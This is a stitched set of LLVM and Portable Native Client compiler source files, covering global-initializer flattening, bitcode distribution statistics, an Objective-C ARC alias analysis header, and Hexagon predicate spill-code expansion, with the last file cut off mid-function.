} else if (ConstantStruct *CS = dyn_cast<ConstantStruct>(Val)) {
const StructLayout *Layout = getDataLayout().getStructLayout(CS->getType());
for (unsigned I = 0; I < CS->getNumOperands(); ++I) {
putAtDest(CS->getOperand(I), Dest + Layout->getElementOffset(I));
}
} else {
Constant *GV;
uint64_t Offset;
ExpandConstant(&getDataLayout(), Val, &GV, &Offset);
if (GV) {
Constant *NewVal = ConstantExpr::getPtrToInt(GV, getIntPtrType());
if (Offset) {
// For simplicity, require addends to be 32-bit.
if ((int64_t) Offset != (int32_t) (uint32_t) Offset) {
errs() << "Not handled: " << *Val << "\n";
report_fatal_error(
"FlattenGlobals: Offset does not fit into 32 bits");
}
NewVal = ConstantExpr::getAdd(
NewVal, ConstantInt::get(getIntPtrType(), Offset,
/* isSigned= */ true));
}
Reloc NewRel(State, Dest - Buf, NewVal);
Relocs.push_back(NewRel);
} else {
memcpy(Dest, &Offset, ValSize);
}
}
}
Constant *FlattenedConstant::getAsNormalFormConstant() const {
// Return a single SimpleElement.
if (Relocs.size() == 0)
return dataSlice(0, BufSize);
if (Relocs.size() == 1 && BufSize == getPtrSize()) {
assert(Relocs[0].getRelOffset() == 0);
return Relocs[0].getRelocUse();
}
// Return a CompoundElement.
SmallVector<Constant *, 10> Elements;
unsigned PrevPos = 0;
for (RelocArray::const_iterator Rel = Relocs.begin(), E = Relocs.end();
Rel != E; ++Rel) {
if (Rel->getRelOffset() > PrevPos)
Elements.push_back(dataSlice(PrevPos, Rel->getRelOffset()));
Elements.push_back(Rel->getRelocUse());
PrevPos = Rel->getRelOffset() + getPtrSize();
}
if (PrevPos < BufSize)
Elements.push_back(dataSlice(PrevPos, BufSize));
return ConstantStruct::getAnon(getModule().getContext(), Elements, true);
}
Type *FlattenedConstant::getAsNormalFormType() const {
// Return a single element type.
if (Relocs.size() == 0)
return dataSliceType(0, BufSize);
if (Relocs.size() == 1 && BufSize == getPtrSize()) {
assert(Relocs[0].getRelOffset() == 0);
return Relocs[0].getRelocUse()->getType();
}
// Return a compound type.
SmallVector<Type *, 10> Elements;
unsigned PrevPos = 0;
for (RelocArray::const_iterator Rel = Relocs.begin(), E = Relocs.end();
Rel != E; ++Rel) {
if (Rel->getRelOffset() > PrevPos)
Elements.push_back(dataSliceType(PrevPos, Rel->getRelOffset()));
Elements.push_back(Rel->getRelocUse()->getType());
PrevPos = Rel->getRelOffset() + getPtrSize();
}
if (PrevPos < BufSize)
Elements.push_back(dataSliceType(PrevPos, BufSize));
return StructType::get(getModule().getContext(), Elements, true);
}
char FlattenGlobals::ID = 0;
INITIALIZE_PASS(FlattenGlobals, "flatten-globals",
"Flatten global variable initializers into byte arrays",
false, false)
void FlattenGlobalsState::flattenGlobalsWithInitializers() {
for (Module::global_iterator I = M.global_begin(), E = M.global_end();
I != E;) {
GlobalVariable *Global = I++;
// Variables with "appending" linkage must always be arrays and so
// cannot be normalized, so leave them alone.
if (Global->hasAppendingLinkage())
continue;
Modified = true;
FlattenedGlobalsVector.push_back(new FlattenedGlobal(*this, Global));
}
}
void FlattenGlobalsState::removeDeadInitializerConstants() {
// Detach original initializers.
for (FlattenedGlobalsVectorType::iterator
I = FlattenedGlobalsVector.begin(), E = FlattenedGlobalsVector.end();
I != E; ++I) {
(*I)->removeOriginalInitializer();
}
// Do cleanup of old initializers.
for (RelocMapType::iterator I = RelocMap.begin(), E = RelocMap.end();
I != E; ++I) {
getRelocUseConstant(I->second)->removeDeadConstantUsers();
}
}
void FlattenGlobalsState::replaceGlobalsWithFlattenedGlobals() {
for (FlattenedGlobalsVectorType::iterator
I = FlattenedGlobalsVector.begin(), E = FlattenedGlobalsVector.end();
I != E; ++I) {
(*I)->replaceGlobalWithFlattenedGlobal();
}
}
void FlattenGlobalsState::installFlattenedGlobalInitializers() {
for (FlattenedGlobalsVectorType::iterator
I = FlattenedGlobalsVector.begin(), E = FlattenedGlobalsVector.end();
I != E; ++I) {
(*I)->installFlattenedInitializer();
}
}
bool FlattenGlobals::runOnModule(Module &M) {
FlattenGlobalsState State(M);
State.flattenGlobalsWithInitializers();
State.removeDeadInitializerConstants();
State.replaceGlobalsWithFlattenedGlobals();
State.installFlattenedGlobalInitializers();
return State.Modified;
}
ModulePass *llvm::createFlattenGlobalsPass() {
return new FlattenGlobals();
}
<file_sep>/lib/Target/X86/X86NaClDecls.h
//===-- X86NaClDecls.h - Common X86 NaCl declarations -----------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file provides various NaCl-related declarations for the X86-32
// and X86-64 architectures.
//
//===----------------------------------------------------------------------===//
#ifndef X86NACLDECLS_H
#define X86NACLDECLS_H
#include "llvm/Support/CommandLine.h"
using namespace llvm;
extern const int kNaClX86InstructionBundleSize;
extern cl::opt<bool> FlagRestrictR15;
extern cl::opt<bool> FlagUseZeroBasedSandbox;
extern cl::opt<bool> FlagHideSandboxBase;
#endif // X86NACLDECLS_H
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeDist.cpp
//===- NaClBitcodeDist.cpp --------------------------------------*- C++ -*-===//
// Internal implementation of PNaCl bitcode distributions.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeDist.h"
using namespace llvm;
NaClBitcodeDist::~NaClBitcodeDist() {
RemoveCachedDistribution();
for (const_iterator Iter = begin(), IterEnd = end();
Iter != IterEnd; ++Iter) {
delete Iter->second;
}
}
NaClBitcodeDistElement *NaClBitcodeDist::CreateElement(
NaClBitcodeDistValue Value) const {
return Sentinel->CreateElement(Value);
}
void NaClBitcodeDist::GetValueList(const NaClBitcodeRecord &Record,
ValueListType &ValueList) const {
Sentinel->GetValueList(Record, ValueList);
}
void NaClBitcodeDist::AddRecord(const NaClBitcodeRecord &Record) {
if (StorageKind != NaClBitcodeDist::RecordStorage)
return;
ValueListType ValueList;
GetValueList(Record, ValueList);
if (!ValueList.empty()) {
RemoveCachedDistribution();
for (ValueListIterator
Iter = ValueList.begin(),
IterEnd = ValueList.end();
Iter != IterEnd; ++Iter) {
NaClBitcodeDistElement *Element = GetElement(*Iter);
Element->AddRecord(Record);
++Total;
}
}
}
void NaClBitcodeDist::AddBlock(const NaClBitcodeBlock &Block) {
if (StorageKind != NaClBitcodeDist::BlockStorage)
return;
RemoveCachedDistribution();
++Total;
unsigned BlockID = Block.GetBlockID();
NaClBitcodeDistElement *Element = GetElement(BlockID);
Element->AddBlock(Block);
}
void NaClBitcodeDist::Print(raw_ostream &Stream,
const std::string &Indent) const {
const Distribution *Dist = GetDistribution();
Stream << Indent;
Sentinel->PrintTitle(Stream, this);
Stream << Indent;
Sentinel->PrintHeader(Stream);
Stream << "\n";
bool NeedsHeader = false;
for (size_t I = 0, E = Dist->size(); I < E; ++I) {
if (NeedsHeader) {
// Reprint the header so that rows are more readable.
Stream << Indent << " " << Sentinel->GetTitle() << " (continued)\n";
Stream << Indent;
Sentinel->PrintHeader(Stream);
Stream << "\n";
}
const DistPair &Pair = Dist->at(I);
Stream << Indent;
NaClBitcodeDistElement *Element = at(Pair.second);
Element->PrintRow(Stream, Pair.second, this);
NeedsHeader = Element->PrintNestedDistIfApplicable(Stream, Indent);
}
}
void NaClBitcodeDist::Sort() const {
RemoveCachedDistribution();
CachedDistribution = new Distribution();
for (const_iterator Iter = begin(), IterEnd = end();
Iter != IterEnd; ++Iter) {
const NaClBitcodeDistElement *Elmt = Iter->second;
// Only add if histogram element is non-empty.
if (Elmt->GetNumInstances()) {
double Importance = Elmt->GetImportance(Iter->first);
CachedDistribution->push_back(std::make_pair(Importance, Iter->first));
}
}
// Sort in ascending order, based on importance.
std::stable_sort(CachedDistribution->begin(),
CachedDistribution->end());
// Reverse so most important appear first.
std::reverse(CachedDistribution->begin(),
CachedDistribution->end());
}
NaClBitcodeDistElement::~NaClBitcodeDistElement() {}
void NaClBitcodeDistElement::AddRecord(const NaClBitcodeRecord &Record) {
++NumInstances;
}
void NaClBitcodeDistElement::AddBlock(const NaClBitcodeBlock &Block) {
++NumInstances;
}
void NaClBitcodeDistElement::GetValueList(const NaClBitcodeRecord &Record,
ValueListType &ValueList) const {
// By default, assume no record values are defined.
}
double NaClBitcodeDistElement::GetImportance(NaClBitcodeDistValue Value) const {
return static_cast<double>(NumInstances);
}
const char *NaClBitcodeDistElement::GetTitle() const {
return "Distribution";
}
void NaClBitcodeDistElement::
PrintTitle(raw_ostream &Stream, const NaClBitcodeDist *Distribution) const {
Stream << GetTitle() << " (" << Distribution->size() << " elements):\n\n";
}
const char *NaClBitcodeDistElement::GetValueHeader() const {
return "Value";
}
void NaClBitcodeDistElement::PrintStatsHeader(raw_ostream &Stream) const {
Stream << " Count %Count";
}
void NaClBitcodeDistElement::
PrintHeader(raw_ostream &Stream) const {
PrintStatsHeader(Stream);
Stream << " " << GetValueHeader();
}
void NaClBitcodeDistElement::
PrintRowStats(raw_ostream &Stream,
const NaClBitcodeDist *Distribution) const {
unsigned Count = GetNumInstances();
Stream << format("%8d %6.2f",
Count,
(double) Count/Distribution->GetTotal()*100.0);
}
void NaClBitcodeDistElement::
PrintRowValue(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
std::string ValueFormat;
raw_string_ostream StrStream(ValueFormat);
StrStream << "%" << strlen(GetValueHeader()) << "d";
StrStream.flush();
Stream << format(ValueFormat.c_str(), (int) Value);
}
void NaClBitcodeDistElement::
PrintRow(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
PrintRowStats(Stream, Distribution);
Stream << " ";
PrintRowValue(Stream, Value, Distribution);
Stream << "\n";
}
const SmallVectorImpl<NaClBitcodeDist*> *NaClBitcodeDistElement::
GetNestedDistributions() const {
return 0;
}
bool NaClBitcodeDistElement::
PrintNestedDistIfApplicable(raw_ostream &Stream,
const std::string &Indent) const {
bool PrintedNestedDists = false;
if (const SmallVectorImpl<NaClBitcodeDist*> *Dists =
GetNestedDistributions()) {
for (SmallVectorImpl<NaClBitcodeDist*>::const_iterator
Iter = Dists->begin(), IterEnd = Dists->end();
Iter != IterEnd; ++Iter) {
NaClBitcodeDist *Dist = *Iter;
if (!Dist->empty()) {
if (!PrintedNestedDists) {
PrintedNestedDists = true;
Stream << "\n";
}
Dist->Print(Stream, Indent + " ");
Stream << "\n";
}
}
}
return PrintedNestedDists;
}
<file_sep>/lib/Transforms/ObjCARC/ObjCARCAliasAnalysis.h
//===- ObjCARCAliasAnalysis.h - ObjC ARC Optimization -*- C++ -*-----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
/// \file
/// This file declares a simple ARC-aware AliasAnalysis using special knowledge
/// of Objective C to enhance other optimization passes which rely on the Alias
/// Analysis infrastructure.
///
/// WARNING: This file knows about certain library functions. It recognizes them
/// by name, and hardwires knowledge of their semantics.
///
/// WARNING: This file knows about how certain Objective-C library functions are
/// used. Naive LLVM IR transformations which would otherwise be
/// behavior-preserving may break these assumptions.
///
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_TRANSFORMS_OBJCARC_OBJCARCALIASANALYSIS_H
#define LLVM_LIB_TRANSFORMS_OBJCARC_OBJCARCALIASANALYSIS_H
#include "llvm/Analysis/AliasAnalysis.h"
#include "llvm/Pass.h"
namespace llvm {
namespace objcarc {
/// \brief This is a simple alias analysis implementation that uses knowledge
/// of ARC constructs to answer queries.
///
/// TODO: This class could be generalized to know about other ObjC-specific
/// tricks. Such as knowing that ivars in the non-fragile ABI are non-aliasing
/// even though their offsets are dynamic.
class ObjCARCAliasAnalysis : public ImmutablePass,
public AliasAnalysis {
public:
static char ID; // Class identification, replacement for typeinfo
ObjCARCAliasAnalysis() : ImmutablePass(ID) {
initializeObjCARCAliasAnalysisPass(*PassRegistry::getPassRegistry());
}
private:
bool doInitialization(Module &M) override;
/// This method is used when a pass implements an analysis interface through
/// multiple inheritance. If needed, it should override this to adjust the
/// this pointer as needed for the specified pass info.
void *getAdjustedAnalysisPointer(const void *PI) override {
if (PI == &AliasAnalysis::ID)
return static_cast<AliasAnalysis *>(this);
return this;
}
void getAnalysisUsage(AnalysisUsage &AU) const override;
AliasResult alias(const Location &LocA, const Location &LocB) override;
bool pointsToConstantMemory(const Location &Loc, bool OrLocal) override;
ModRefBehavior getModRefBehavior(ImmutableCallSite CS) override;
ModRefBehavior getModRefBehavior(const Function *F) override;
ModRefResult getModRefInfo(ImmutableCallSite CS,
const Location &Loc) override;
ModRefResult getModRefInfo(ImmutableCallSite CS1,
ImmutableCallSite CS2) override;
};
} // namespace objcarc
} // namespace llvm
#endif
<file_sep>/lib/MC/MCSection.cpp
//===- lib/MC/MCSection.cpp - Machine Code Section Representation ---------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/MC/MCSection.h"
#include "llvm/MC/MCAsmInfo.h"
#include "llvm/MC/MCContext.h"
#include "llvm/MC/MCSymbol.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
//===----------------------------------------------------------------------===//
// MCSection
//===----------------------------------------------------------------------===//
MCSymbol *MCSection::getEndSymbol(MCContext &Ctx) const {
if (!End)
End = Ctx.createTempSymbol("sec_end", true);
return End;
}
bool MCSection::hasEnded() const { return End && End->isInSection(); }
MCSection::~MCSection() {
}
<file_sep>/lib/Transforms/NaCl/InternalizeUsedGlobals.cpp
//===- InternalizeUsedGlobals.cpp - mark used globals as internal ----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The internalize pass does not mark internal globals marked as "used",
// which may be achieved with __attribute((used))__ in C++, for example.
// In PNaCl scenarios, we always perform whole program analysis, and
// the ABI requires all but entrypoint globals to be internal. This pass
// satisfies such requirements.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/SmallPtrSet.h"
#include "llvm/IR/GlobalValue.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/PassRegistry.h"
#include "llvm/PassSupport.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Transforms/Utils/ModuleUtils.h"
using namespace llvm;
namespace {
class InternalizeUsedGlobals : public ModulePass {
public:
static char ID;
InternalizeUsedGlobals() : ModulePass(ID) {
initializeInternalizeUsedGlobalsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char InternalizeUsedGlobals::ID = 0;
INITIALIZE_PASS(InternalizeUsedGlobals, "internalize-used-globals",
"Mark internal globals in the llvm.used list", false, false)
bool InternalizeUsedGlobals::runOnModule(Module &M) {
bool Changed = false;
SmallPtrSet<GlobalValue *, 8> Used;
collectUsedGlobalVariables(M, Used, /*CompilerUsed =*/false);
for (GlobalValue *V : Used) {
if (V->getLinkage() != GlobalValue::InternalLinkage) {
// Setting Linkage to InternalLinkage also sets the visibility to
// DefaultVisibility.
// For explicitness, we do so upfront.
V->setVisibility(GlobalValue::DefaultVisibility);
V->setLinkage(GlobalValue::InternalLinkage);
Changed = true;
}
}
return Changed;
}
ModulePass *llvm::createInternalizeUsedGlobalsPass() {
return new InternalizeUsedGlobals();
}
<file_sep>/lib/Target/Hexagon/HexagonExpandPredSpillCode.cpp
//===-- HexagonExpandPredSpillCode.cpp - Expand Predicate Spill Code ------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// The Hexagon processor has no instructions that load or store predicate
// registers directly. So, when these registers must be spilled a general
// purpose register must be found and the value copied to/from it from/to
// the predicate register. This code currently does not use the register
// scavenger mechanism available in the allocator. There are two registers
// reserved to allow spilling/restoring predicate registers. One is used to
// hold the predicate value. The other is used when stack frame offsets are
// too large.
//
//===----------------------------------------------------------------------===//
#include "Hexagon.h"
#include "HexagonMachineFunctionInfo.h"
#include "HexagonSubtarget.h"
#include "llvm/ADT/Statistic.h"
#include "llvm/CodeGen/LatencyPriorityQueue.h"
#include "llvm/CodeGen/MachineDominators.h"
#include "llvm/CodeGen/MachineFunctionPass.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/CodeGen/MachineLoopInfo.h"
#include "llvm/CodeGen/MachineRegisterInfo.h"
#include "llvm/CodeGen/Passes.h"
#include "llvm/CodeGen/ScheduleHazardRecognizer.h"
#include "llvm/CodeGen/SchedulerRegistry.h"
#include "llvm/Support/Compiler.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Target/TargetInstrInfo.h"
#include "llvm/Target/TargetMachine.h"
#include "llvm/Target/TargetRegisterInfo.h"
using namespace llvm;
namespace llvm {
void initializeHexagonExpandPredSpillCodePass(PassRegistry&);
}
namespace {
class HexagonExpandPredSpillCode : public MachineFunctionPass {
public:
static char ID;
HexagonExpandPredSpillCode() : MachineFunctionPass(ID) {
PassRegistry &Registry = *PassRegistry::getPassRegistry();
initializeHexagonExpandPredSpillCodePass(Registry);
}
const char *getPassName() const override {
return "Hexagon Expand Predicate Spill Code";
}
bool runOnMachineFunction(MachineFunction &Fn) override;
};
char HexagonExpandPredSpillCode::ID = 0;
bool HexagonExpandPredSpillCode::runOnMachineFunction(MachineFunction &Fn) {
const HexagonSubtarget &QST = Fn.getSubtarget<HexagonSubtarget>();
const HexagonInstrInfo *TII = QST.getInstrInfo();
// Loop over all of the basic blocks.
for (MachineFunction::iterator MBBb = Fn.begin(), MBBe = Fn.end();
MBBb != MBBe; ++MBBb) {
MachineBasicBlock* MBB = MBBb;
// Traverse the basic block.
for (MachineBasicBlock::iterator MII = MBB->begin(); MII != MBB->end();
++MII) {
MachineInstr *MI = MII;
int Opc = MI->getOpcode();
if (Opc == Hexagon::S2_storerb_pci_pseudo ||
Opc == Hexagon::S2_storerh_pci_pseudo ||
Opc == Hexagon::S2_storeri_pci_pseudo ||
Opc == Hexagon::S2_storerd_pci_pseudo ||
Opc == Hexagon::S2_storerf_pci_pseudo) {
unsigned Opcode;
if (Opc == Hexagon::S2_storerd_pci_pseudo)
Opcode = Hexagon::S2_storerd_pci;
else if (Opc == Hexagon::S2_storeri_pci_pseudo)
Opcode = Hexagon::S2_storeri_pci;
else if (Opc == Hexagon::S2_storerh_pci_pseudo)
Opcode = Hexagon::S2_storerh_pci;
else if (Opc == Hexagon::S2_storerf_pci_pseudo)
Opcode = Hexagon::S2_storerf_pci;
else if (Opc == Hexagon::S2_storerb_pci_pseudo)
Opcode = Hexagon::S2_storerb_pci;
else
llvm_unreachable("wrong Opc");
MachineOperand &Op0 = MI->getOperand(0);
MachineOperand &Op1 = MI->getOperand(1);
MachineOperand &Op2 = MI->getOperand(2);
MachineOperand &Op3 = MI->getOperand(3); // Modifier value.
MachineOperand &Op4 = MI->getOperand(4);
// Emit a "C6 = Rn, C6 is the control register for M0".
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_tfrrcr),
Hexagon::C6)->addOperand(Op3);
// Replace the pseude circ_ldd by the real circ_ldd.
MachineInstr *NewMI = BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Opcode));
NewMI->addOperand(Op0);
NewMI->addOperand(Op1);
NewMI->addOperand(Op4);
NewMI->addOperand(MachineOperand::CreateReg(Hexagon::M0,
false, /*isDef*/
false, /*isImpl*/
true /*isKill*/));
NewMI->addOperand(Op2);
MII = MBB->erase(MI);
--MII;
} else if (Opc == Hexagon::L2_loadrd_pci_pseudo ||
Opc == Hexagon::L2_loadri_pci_pseudo ||
Opc == Hexagon::L2_loadrh_pci_pseudo ||
Opc == Hexagon::L2_loadruh_pci_pseudo||
Opc == Hexagon::L2_loadrb_pci_pseudo ||
Opc == Hexagon::L2_loadrub_pci_pseudo) {
unsigned Opcode;
if (Opc == Hexagon::L2_loadrd_pci_pseudo)
Opcode = Hexagon::L2_loadrd_pci;
else if (Opc == Hexagon::L2_loadri_pci_pseudo)
Opcode = Hexagon::L2_loadri_pci;
else if (Opc == Hexagon::L2_loadrh_pci_pseudo)
Opcode = Hexagon::L2_loadrh_pci;
else if (Opc == Hexagon::L2_loadruh_pci_pseudo)
Opcode = Hexagon::L2_loadruh_pci;
else if (Opc == Hexagon::L2_loadrb_pci_pseudo)
Opcode = Hexagon::L2_loadrb_pci;
else if (Opc == Hexagon::L2_loadrub_pci_pseudo)
Opcode = Hexagon::L2_loadrub_pci;
else
llvm_unreachable("wrong Opc");
MachineOperand &Op0 = MI->getOperand(0);
MachineOperand &Op1 = MI->getOperand(1);
MachineOperand &Op2 = MI->getOperand(2);
MachineOperand &Op4 = MI->getOperand(4); // Modifier value.
MachineOperand &Op5 = MI->getOperand(5);
// Emit a "C6 = Rn, C6 is the control register for M0".
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_tfrrcr),
Hexagon::C6)->addOperand(Op4);
// Replace the pseude circ_ldd by the real circ_ldd.
MachineInstr *NewMI = BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Opcode));
NewMI->addOperand(Op1);
NewMI->addOperand(Op0);
NewMI->addOperand(Op2);
NewMI->addOperand(Op5);
NewMI->addOperand(MachineOperand::CreateReg(Hexagon::M0,
false, /*isDef*/
false, /*isImpl*/
true /*isKill*/));
MII = MBB->erase(MI);
--MII;
} else if (Opc == Hexagon::L2_loadrd_pbr_pseudo ||
Opc == Hexagon::L2_loadri_pbr_pseudo ||
Opc == Hexagon::L2_loadrh_pbr_pseudo ||
Opc == Hexagon::L2_loadruh_pbr_pseudo||
Opc == Hexagon::L2_loadrb_pbr_pseudo ||
Opc == Hexagon::L2_loadrub_pbr_pseudo) {
unsigned Opcode;
if (Opc == Hexagon::L2_loadrd_pbr_pseudo)
Opcode = Hexagon::L2_loadrd_pbr;
else if (Opc == Hexagon::L2_loadri_pbr_pseudo)
Opcode = Hexagon::L2_loadri_pbr;
else if (Opc == Hexagon::L2_loadrh_pbr_pseudo)
Opcode = Hexagon::L2_loadrh_pbr;
else if (Opc == Hexagon::L2_loadruh_pbr_pseudo)
Opcode = Hexagon::L2_loadruh_pbr;
else if (Opc == Hexagon::L2_loadrb_pbr_pseudo)
Opcode = Hexagon::L2_loadrb_pbr;
else if (Opc == Hexagon::L2_loadrub_pbr_pseudo)
Opcode = Hexagon::L2_loadrub_pbr;
else
llvm_unreachable("wrong Opc");
MachineOperand &Op0 = MI->getOperand(0);
MachineOperand &Op1 = MI->getOperand(1);
MachineOperand &Op2 = MI->getOperand(2);
MachineOperand &Op4 = MI->getOperand(4); // Modifier value.
// Emit a "C6 = Rn, C6 is the control register for M0".
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_tfrrcr),
Hexagon::C6)->addOperand(Op4);
// Replace the pseudo brev_ldd by the real brev_ldd.
MachineInstr *NewMI = BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Opcode));
NewMI->addOperand(Op1);
NewMI->addOperand(Op0);
NewMI->addOperand(Op2);
NewMI->addOperand(MachineOperand::CreateReg(Hexagon::M0,
false, /*isDef*/
false, /*isImpl*/
true /*isKill*/));
MII = MBB->erase(MI);
--MII;
} else if (Opc == Hexagon::S2_storerd_pbr_pseudo ||
Opc == Hexagon::S2_storeri_pbr_pseudo ||
Opc == Hexagon::S2_storerh_pbr_pseudo ||
Opc == Hexagon::S2_storerb_pbr_pseudo ||
Opc == Hexagon::S2_storerf_pbr_pseudo) {
unsigned Opcode;
if (Opc == Hexagon::S2_storerd_pbr_pseudo)
Opcode = Hexagon::S2_storerd_pbr;
else if (Opc == Hexagon::S2_storeri_pbr_pseudo)
Opcode = Hexagon::S2_storeri_pbr;
else if (Opc == Hexagon::S2_storerh_pbr_pseudo)
Opcode = Hexagon::S2_storerh_pbr;
else if (Opc == Hexagon::S2_storerf_pbr_pseudo)
Opcode = Hexagon::S2_storerf_pbr;
else if (Opc == Hexagon::S2_storerb_pbr_pseudo)
Opcode = Hexagon::S2_storerb_pbr;
else
llvm_unreachable("wrong Opc");
MachineOperand &Op0 = MI->getOperand(0);
MachineOperand &Op1 = MI->getOperand(1);
MachineOperand &Op2 = MI->getOperand(2);
MachineOperand &Op3 = MI->getOperand(3); // Modifier value.
// Emit a "C6 = Rn, C6 is the control register for M0".
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_tfrrcr),
Hexagon::C6)->addOperand(Op3);
// Replace the pseudo brev_ldd by the real brev_ldd.
MachineInstr *NewMI = BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Opcode));
NewMI->addOperand(Op0);
NewMI->addOperand(Op1);
NewMI->addOperand(MachineOperand::CreateReg(Hexagon::M0,
false, /*isDef*/
false, /*isImpl*/
true /*isKill*/));
NewMI->addOperand(Op2);
MII = MBB->erase(MI);
--MII;
} else if (Opc == Hexagon::STriw_pred) {
// STriw_pred [R30], ofst, SrcReg;
unsigned FP = MI->getOperand(0).getReg();
assert(FP == QST.getRegisterInfo()->getFrameRegister() &&
"Not a Frame Pointer, Nor a Spill Slot");
assert(MI->getOperand(1).isImm() && "Not an offset");
int Offset = MI->getOperand(1).getImm();
int SrcReg = MI->getOperand(2).getReg();
assert(Hexagon::PredRegsRegClass.contains(SrcReg) &&
"Not a predicate register");
if (!TII->isValidOffset(Hexagon::S2_storeri_io, Offset)) {
if (!TII->isValidOffset(Hexagon::A2_addi, Offset)) {
BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Hexagon::CONST32_Int_Real),
HEXAGON_RESERVED_REG_1).addImm(Offset);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_add),
HEXAGON_RESERVED_REG_1)
.addReg(FP).addReg(HEXAGON_RESERVED_REG_1);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::C2_tfrpr),
HEXAGON_RESERVED_REG_2).addReg(SrcReg);
BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Hexagon::S2_storeri_io))
.addReg(HEXAGON_RESERVED_REG_1)
.addImm(0).addReg(HEXAGON_RESERVED_REG_2);
} else {
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_addi),
HEXAGON_RESERVED_REG_1).addReg(FP).addImm(Offset);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::C2_tfrpr),
HEXAGON_RESERVED_REG_2).addReg(SrcReg);
BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Hexagon::S2_storeri_io))
.addReg(HEXAGON_RESERVED_REG_1)
.addImm(0)
.addReg(HEXAGON_RESERVED_REG_2);
}
} else {
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::C2_tfrpr),
HEXAGON_RESERVED_REG_2).addReg(SrcReg);
BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Hexagon::S2_storeri_io)).
addReg(FP).addImm(Offset).addReg(HEXAGON_RESERVED_REG_2);
}
MII = MBB->erase(MI);
--MII;
} else if (Opc == Hexagon::LDriw_pred) {
// DstReg = LDriw_pred [R30], ofst.
int DstReg = MI->getOperand(0).getReg();
assert(Hexagon::PredRegsRegClass.contains(DstReg) &&
"Not a predicate register");
unsigned FP = MI->getOperand(1).getReg();
assert(FP == QST.getRegisterInfo()->getFrameRegister() &&
"Not a Frame Pointer, Nor a Spill Slot");
assert(MI->getOperand(2).isImm() && "Not an offset");
int Offset = MI->getOperand(2).getImm();
if (!TII->isValidOffset(Hexagon::L2_loadri_io, Offset)) {
if (!TII->isValidOffset(Hexagon::A2_addi, Offset)) {
BuildMI(*MBB, MII, MI->getDebugLoc(),
TII->get(Hexagon::CONST32_Int_Real),
HEXAGON_RESERVED_REG_1).addImm(Offset);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_add),
HEXAGON_RESERVED_REG_1)
.addReg(FP)
.addReg(HEXAGON_RESERVED_REG_1);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::L2_loadri_io),
HEXAGON_RESERVED_REG_2)
.addReg(HEXAGON_RESERVED_REG_1)
.addImm(0);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::C2_tfrrp),
DstReg).addReg(HEXAGON_RESERVED_REG_2);
} else {
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::A2_addi),
HEXAGON_RESERVED_REG_1).addReg(FP).addImm(Offset);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::L2_loadri_io),
HEXAGON_RESERVED_REG_2)
.addReg(HEXAGON_RESERVED_REG_1)
.addImm(0);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::C2_tfrrp),
DstReg).addReg(HEXAGON_RESERVED_REG_2);
}
} else {
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::L2_loadri_io),
HEXAGON_RESERVED_REG_2).addReg(FP).addImm(Offset);
BuildMI(*MBB, MII, MI->getDebugLoc(), TII->get(Hexagon::C2_tfrrp),
DstReg).addReg(HEXAGON_RESERVED_REG_2);
}
MII = MBB->erase(MI);
--MII;
}
}
}
return true;
}
}
//===----------------------------------------------------------------------===//
// Public Constructor Functions
//===----------------------------------------------------------------------===//
static void initializePassOnce(PassRegistry &Registry) {
const char *Name = "Hexagon Expand Predicate Spill Code";
